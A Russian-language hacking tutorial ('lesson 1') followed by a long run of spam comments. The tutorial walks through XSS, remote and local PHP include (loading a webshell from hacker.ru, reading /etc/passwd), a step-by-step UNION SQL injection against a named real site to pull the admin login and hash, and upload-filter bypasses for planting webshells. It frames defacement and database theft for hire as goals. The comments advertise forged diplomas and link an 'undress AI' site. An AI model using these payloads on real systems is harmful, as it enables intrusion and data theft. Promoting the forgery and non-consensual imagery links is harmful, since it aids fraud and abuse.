ОСНОВЫ ХАКЕРСТВА УРОК 1 Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.
Кто и зачем? Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо. Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу. Все зависит от такого для чего производится взлом. Рассмотрим основные мотивы:
Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база Взлом производиться ради повышения прав на сервере.
Теперь поговорим о таком понятии как скрипт кидди. Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании. Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее. Так как же они взламывают? Они попросту используют чужие наработки. Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее. Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты. Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0. Далее он идет в поисковик и делает следущюий запрос: site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke Далее он просто использует эксплоит. Это кстати называется гугл хакинг. Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.
Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include В каждом уроке я буду рассказывать понемногу про каждую из них. Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.
XSS. Цель у этой уязвимости одна - украсть Cookes файлы. Итак, сначала из за чего появляются Xss Происходит все это из-за отсутствия фильтрации входящих данных Разберем сразу на примере: http://www.atlant.ws Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег [hr]
И мы увидим линию (в HTML этот тег означает провести линию) В адресной строке мы видим: http://www.atlant.ws/?set=search&www=false&query=[hr]
Значит данные передаются GET запросом. Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий. http://www.atlant.ws/?set=search&www=false&query=[script]alert('xss')[/script] Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение. Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q) Кроме пассивных xss существует активные. Опять же пример: http://www.addtop.ru/kom.php?id=32 Вводим в комментарии скрипт [script]alert('xss')[/script] И отправляем его. Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его. Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти. А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код. Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss. Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем. В конце статьи я приведу несколько полезный ссылок на эту тему.
Введение в PHP include. Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл. Разберем сначала, что такое веб шелл. Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе. В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл. Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость
Видим на сайте такой url: www.site.ru?page=home.html Это значит, что на страничку подгружается файл home.html А что если попробовать подгузить свой файл? Например, так: www.site.ru?page=http:/hacker.ru/webshell.php Так мы пробуем загрузить веб шелл на сайт. Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан. Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера. Кроме удаленных, инклуды бывают локальные. В этом случае мы сможем только читать файлы на сервере. Например, сейчас мы попробуем прочитать файл с именами пользователей системы: www.site.ru?page=/etc/passwd Вот, опять же попробуй поискать php include. Советую воспользоваться google: Inurl:page= Такой запрос покажет нам сайты, в урле которых присутствует строка "page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим Кстати если найдешь php инклуд, то можно получить xss вот так: www.site.ru?page=[script]alert(/xss/)[/script] Это работает во многих случаях. В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.
Введение в SQL Injection Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта. Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например: http://www.descom.ch/main.php?id=18646644 Что бы проверить параметр на sql injection обычно подставляют кавычку http://www.descom.ch/main.php?id=18646644' либо другие левые символы Видим ошибку. Понимаем что это mysql. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19
Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by. http://www.descom.ch/main.php?id=18646644’+order+by+10/* Вывод то же самый, значит полей меньше http://www.descom.ch/main.php?id=18646644+order+by+7/* Да. Вывод изменился. Значит полей 7. Теперь нужно получить читабельные поля. http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/* Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select У нас есть колонки. Теперь нужно получить информация о базе. http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/* Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу. Делается это так: http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/+from+таблица/* таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой ссылке В нашем случае мне удалось узнать, что имя таблицы user. Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль. Попробуем: http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/* И у нас на экране логин и хеш пароля администратора. Вот таким не хитрым образом удалось поломать базу. Кстати здесь тоже имеет место xss: http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,[script]alert(/xss/)[/script],5,6,7/*
Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме http://vzlom.ixbb.ru:
Еще парочка способов загрузить веб шелл. Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение. Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом: Поменять разрешение на такое: webshell.php.jpg. и возможно нам удастся загрузить шелл. Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст Для этого можно поступить вот так: Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт.
Термины, используемые в статье. Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи: Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например "Hacked by вася" CMS или еще говорят движок-двиг - система управления сайтом. Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для: аутентификации пользователя; хранения персональных предпочтений и настроек пользователя; отслеживания состояния сессии доступа пользователя; ведения статистики о пользователях. Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ. В следующей статье я как раз расскажу про воровство Cookes с помощью xss bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении. Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте.
Послесловие Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах. Для самообразования можно почитать вот это: xss sql injection php include
А также теоретические основы хакинга Также очень советую почаще посещать багтрак и разбирать уязвимости которые там описываются. На этом пока все. Удачи! ps все уголковые теги заменены на [ и ]
На сегодняшний день, когда диплом становится началом удачной карьеры в любом направлении, многие ищут максимально простой путь получения образования. Факт наличия официального документа об образовании переоценить невозможно. Ведь именно диплом открывает дверь перед любым человеком, который хочет начать трудовую деятельность или продолжить обучение в высшем учебном заведении. Мы предлагаем быстро получить этот важный документ. Вы сможете приобрести диплом, и это становится отличным решением для всех, кто не смог закончить образование, потерял документ или хочет исправить свои оценки. Все дипломы изготавливаются с особой аккуратностью, вниманием к мельчайшим деталям. В итоге вы сможете получить продукт, 100% соответствующий оригиналу. Плюсы подобного подхода заключаются не только в том, что можно оперативно получить свой диплом. Процесс организован удобно, с профессиональной поддержкой. От выбора нужного образца документа до правильного заполнения персональной информации и доставки в любое место России — все под полным контролем опытных специалистов. Для тех, кто хочет найти максимально быстрый способ получения требуемого документа, наша компания предлагает отличное решение. Заказать диплом - это значит избежать долгого обучения и сразу переходить к своим целям: к поступлению в университет или к началу удачной карьеры. https://www.google.ps/url?sa=t&url=https://russiany-diplomans.com http://maps.google.hn/url?rct=j&sa=t&url=https://gosznac-diplomy.com https://clients1.google.com.qa/url?sa=t&url=https://premialnie-diplomansy.com https://cse.google.com.mx/url?q=https://diploms-originalniy.com https://images.google.bi/url?q=http://kazdiplom.com
В нашем мире, где диплом - это начало успешной карьеры в любой области, многие ищут максимально быстрый путь получения образования. Наличие официального документа об образовании сложно переоценить. Ведь диплом открывает двери перед людьми, стремящимися вступить в профессиональное сообщество или учиться в любом институте. Мы предлагаем быстро получить этот важный документ. Вы имеете возможность купить диплом старого или нового образца, и это будет удачным решением для человека, который не смог закончить обучение, потерял документ или желает исправить свои оценки. Все дипломы производятся с особой тщательностью, вниманием ко всем нюансам, чтобы в итоге получился документ, полностью соответствующий оригиналу. Превосходство такого решения состоит не только в том, что можно оперативно получить свой диплом. Весь процесс организован удобно, с нашей поддержкой. От выбора необходимого образца до грамотного заполнения персональных данных и доставки в любой регион России — все под полным контролем опытных специалистов. Всем, кто пытается найти быстрый способ получения необходимого документа, наша компания готова предложить выгодное решение. Приобрести диплом - значит избежать длительного процесса обучения и не теряя времени переходить к достижению собственных целей: к поступлению в ВУЗ или к началу успешной карьеры. <a href=http://diplom-net.ru/>http://diplom-net.ru</a>
В нашем обществе, где диплом является началом удачной карьеры в любом направлении, многие стараются найти максимально быстрый путь получения образования. Наличие документа об образовании переоценить невозможно. Ведь именно диплом открывает двери перед каждым человеком, который собирается начать профессиональную деятельность или продолжить обучение в любом университете. Предлагаем оперативно получить любой необходимый документ. Вы можете заказать диплом старого или нового образца, и это является отличным решением для человека, который не смог завершить обучение, потерял документ или желает исправить плохие оценки. Все дипломы выпускаются аккуратно, с особым вниманием к мельчайшим деталям, чтобы в результате получился документ, полностью соответствующий оригиналу. Плюсы этого решения состоят не только в том, что можно максимально быстро получить диплом. Весь процесс организовывается комфортно, с профессиональной поддержкой. Начав от выбора необходимого образца до точного заполнения личных данных и доставки в любое место России — все под абсолютным контролем опытных специалистов. Для всех, кто хочет найти оперативный способ получения требуемого документа, наша компания может предложить выгодное решение. Купить диплом - значит избежать долгого обучения и не теряя времени перейти к достижению собственных целей: к поступлению в университет или к началу успешной карьеры. <a href=https://diplomanc-russia24.com/>https://www.diplomanc-russia24.com/</a>
Hey! Would you mind if I share your blog with my twitter group? There's a lot of folks that I think would really appreciate your content. Please let me know. Many thanks
<a href="https://undress-ai.cc/undress-ai-program/">undress ai program</a>
В современном мире, где диплом становится началом отличной карьеры в любой области, многие ищут максимально простой путь получения качественного образования. Факт наличия документа об образовании переоценить просто невозможно. Ведь диплом открывает дверь перед каждым человеком, который собирается начать трудовую деятельность или продолжить обучение в высшем учебном заведении. В данном контексте мы предлагаем очень быстро получить этот необходимый документ. Вы сможете купить диплом, что становится удачным решением для всех, кто не смог завершить образование, потерял документ или желает исправить плохие оценки. дипломы производятся с особой тщательностью, вниманием к мельчайшим нюансам. В итоге вы получите полностью оригинальный документ. Плюсы данного решения состоят не только в том, что вы максимально быстро получите диплом. Весь процесс организовывается комфортно, с нашей поддержкой. От выбора необходимого образца до грамотного заполнения личной информации и доставки по России — все находится под абсолютным контролем качественных специалистов. Всем, кто хочет найти максимально быстрый способ получения требуемого документа, наша компания предлагает выгодное решение. Приобрести диплом - это значит избежать продолжительного обучения и сразу переходить к важным целям: к поступлению в университет или к началу трудовой карьеры. https://images.google.cf/url?q=http://rudiplomisty24.com https://www.google.tn/url?q=http://rudiplomisty24.com https://cse.google.fi/url?sa=t&url=https://originality-diploman.com https://www.google.com.mt/url?sa=t&url=https://rudiplomisty.com https://cse.google.li/url?q=https://russiany-diplomans.com
В нашем мире, где диплом - это начало успешной карьеры в любой сфере, многие ищут максимально простой путь получения качественного образования. Наличие документа об образовании переоценить невозможно. Ведь именно он открывает двери перед любым человеком, желающим начать профессиональную деятельность или продолжить обучение в университете. В данном контексте наша компания предлагает очень быстро получить этот необходимый документ. Вы сможете заказать диплом, и это будет удачным решением для человека, который не смог закончить обучение или потерял документ. Любой диплом изготавливается с особой аккуратностью, вниманием к мельчайшим деталям, чтобы в итоге получился 100% оригинальный документ. Преимущество этого решения заключается не только в том, что можно максимально быстро получить диплом. Процесс организован просто и легко, с нашей поддержкой. Начиная от выбора необходимого образца до точного заполнения личной информации и доставки в любой регион страны — все находится под абсолютным контролем качественных мастеров. Всем, кто хочет найти максимально быстрый способ получения необходимого документа, наша компания предлагает отличное решение. Заказать диплом - это значит избежать долгого процесса обучения и не теряя времени перейти к своим целям, будь то поступление в ВУЗ или старт карьеры. https://clients1.google.nu/url?sa=t&url=https://russiany-diplomans.com https://www.google.me/url?q=https://originality-diplomiki.com https://www.google.ac/url?q=https://diploms-originalniy.com https://www.google.co.nz/url?sa=t&url=https://gosznac-diplomy.com https://maps.google.hu/url?sa=t&url=http://kazdiplom.com
В нашем обществе, где диплом - это начало отличной карьеры в любой сфере, многие пытаются найти максимально быстрый и простой путь получения образования. Необходимость наличия официального документа трудно переоценить. Ведь диплом открывает дверь перед людьми, стремящимися вступить в профессиональное сообщество или учиться в ВУЗе. Мы предлагаем максимально быстро получить этот необходимый документ. Вы сможете купить диплом нового или старого образца, и это является выгодным решением для всех, кто не смог закончить обучение или утратил документ. Все дипломы изготавливаются с особой тщательностью, вниманием ко всем нюансам, чтобы в итоге получился полностью оригинальный документ. Превосходство этого решения состоит не только в том, что можно оперативно получить диплом. Весь процесс организовывается удобно, с профессиональной поддержкой. От выбора подходящего образца до точного заполнения персональных данных и доставки по стране — все под полным контролем опытных мастеров. Всем, кто пытается найти максимально быстрый способ получения необходимого документа, наша услуга предлагает отличное решение. Заказать диплом - это значит избежать длительного процесса обучения и не теряя времени переходить к личным целям, будь то поступление в университет или начало профессиональной карьеры. http://toolbarqueries.google.com.af/url?q=https://premialnie-diplomansy.com https://maps.google.bt/url?sa=t&url=https://russdiplomag.com https://www.google.az/url?sa=t&url=http://volga-diplomy.com https://maps.google.co.bw/url?q=http://volga-diplomy.com https://maps.google.sh/url?q=https://rudiplomisty.com
В современном мире, где диплом - это начало удачной карьеры в любом направлении, многие ищут максимально быстрый и простой путь получения образования. Наличие официального документа сложно переоценить. Ведь именно диплом открывает двери перед всеми, кто собирается вступить в профессиональное сообщество или учиться в университете. В данном контексте наша компания предлагает быстро получить этот важный документ. Вы сможете купить диплом, и это будет выгодным решением для человека, который не смог закончить обучение или утратил документ. Все дипломы изготавливаются аккуратно, с особым вниманием к мельчайшим элементам, чтобы в результате получился полностью оригинальный документ. Преимущество подобного решения заключается не только в том, что вы оперативно получите диплом. Весь процесс организован комфортно и легко, с профессиональной поддержкой. Начиная от выбора требуемого образца до консультаций по заполнению персональных данных и доставки по стране — все под абсолютным контролем квалифицированных мастеров. Всем, кто пытается найти оперативный способ получить требуемый документ, наша компания предлагает отличное решение. Заказать диплом - это значит избежать длительного процесса обучения и сразу переходить к достижению своих целей: к поступлению в ВУЗ или к началу трудовой карьеры. https://europe.google.com/url?q=https://premialnie-diplomany.com https://www.google.com.uy/url?q=https://originality-diploman.com https://www.google.kz/url?q=http://kazdiplom.com https://maps.google.si/url?sa=t&url=https://originality-diplomiki.com https://images.google.nu/url?q=https://russiany-diplomans.com
В современном мире, где диплом является началом удачной карьеры в любой области, многие стараются найти максимально быстрый путь получения образования. Наличие официального документа об образовании переоценить невозможно. Ведь диплом открывает дверь перед каждым человеком, который хочет вступить в профессиональное сообщество или продолжить обучение в ВУЗе. В данном контексте наша компания предлагает очень быстро получить этот важный документ. Вы имеете возможность приобрести диплом, и это становится отличным решением для человека, который не смог завершить обучение, утратил документ или желает исправить свои оценки. дипломы изготавливаются с особой аккуратностью, вниманием к мельчайшим деталям. На выходе вы сможете получить полностью оригинальный документ. Преимущество подобного решения заключается не только в том, что можно быстро получить свой диплом. Весь процесс организовывается просто и легко, с нашей поддержкой. От выбора нужного образца документа до консультаций по заполнению персональной информации и доставки в любое место страны — все под полным контролем квалифицированных специалистов. Всем, кто ищет быстрый способ получения необходимого документа, наша услуга предлагает отличное решение. Заказать диплом - значит избежать длительного процесса обучения и сразу перейти к достижению своих целей: к поступлению в ВУЗ или к началу удачной карьеры. http://images.google.ac/url?q=https://premialnie-diplomik.com http://www.google.com.cy/url?q=https://premialnie-diplomik.com https://www.google.bs/url?q=https://premialnie-diplomik.com https://images.google.so/url?q=https://rudiplomista.com https://www.google.md/url?sa=t&url=https://lands-diploma.com
На сегодняшний день, когда диплом - это начало отличной карьеры в любой сфере, многие стараются найти максимально быстрый и простой путь получения образования. Наличие официального документа об образовании сложно переоценить. Ведь диплом открывает двери перед каждым человеком, желающим вступить в профессиональное сообщество или учиться в высшем учебном заведении. В данном контексте мы предлагаем оперативно получить любой необходимый документ. Вы имеете возможность купить диплом нового или старого образца, и это является отличным решением для человека, который не смог закончить образование, утратил документ или желает исправить плохие оценки. Все дипломы изготавливаются аккуратно, с особым вниманием к мельчайшим деталям. В результате вы получите полностью оригинальный документ. Плюсы данного подхода заключаются не только в том, что вы максимально быстро получите диплом. Процесс организовывается удобно, с нашей поддержкой. Начиная от выбора подходящего образца до консультаций по заполнению личной информации и доставки в любой регион России — все находится под полным контролем опытных мастеров. Для всех, кто ищет быстрый и простой способ получения требуемого документа, наша компания готова предложить отличное решение. Приобрести диплом - значит избежать долгого обучения и сразу перейти к своим целям: к поступлению в ВУЗ или к началу трудовой карьеры. https://maps.google.ad/url?sa=t&url=http://rudiplomisty24.com https://www.google.com.vc/url?q=http://kazdiplom.com https://www.l.google.com/url?q=http://diploman-spb24.com https://clients1.google.com.pk/url?sa=t&url=https://originality-diplomiki.com https://maps.google.co.nz/url?q=http://kazdiplom.com
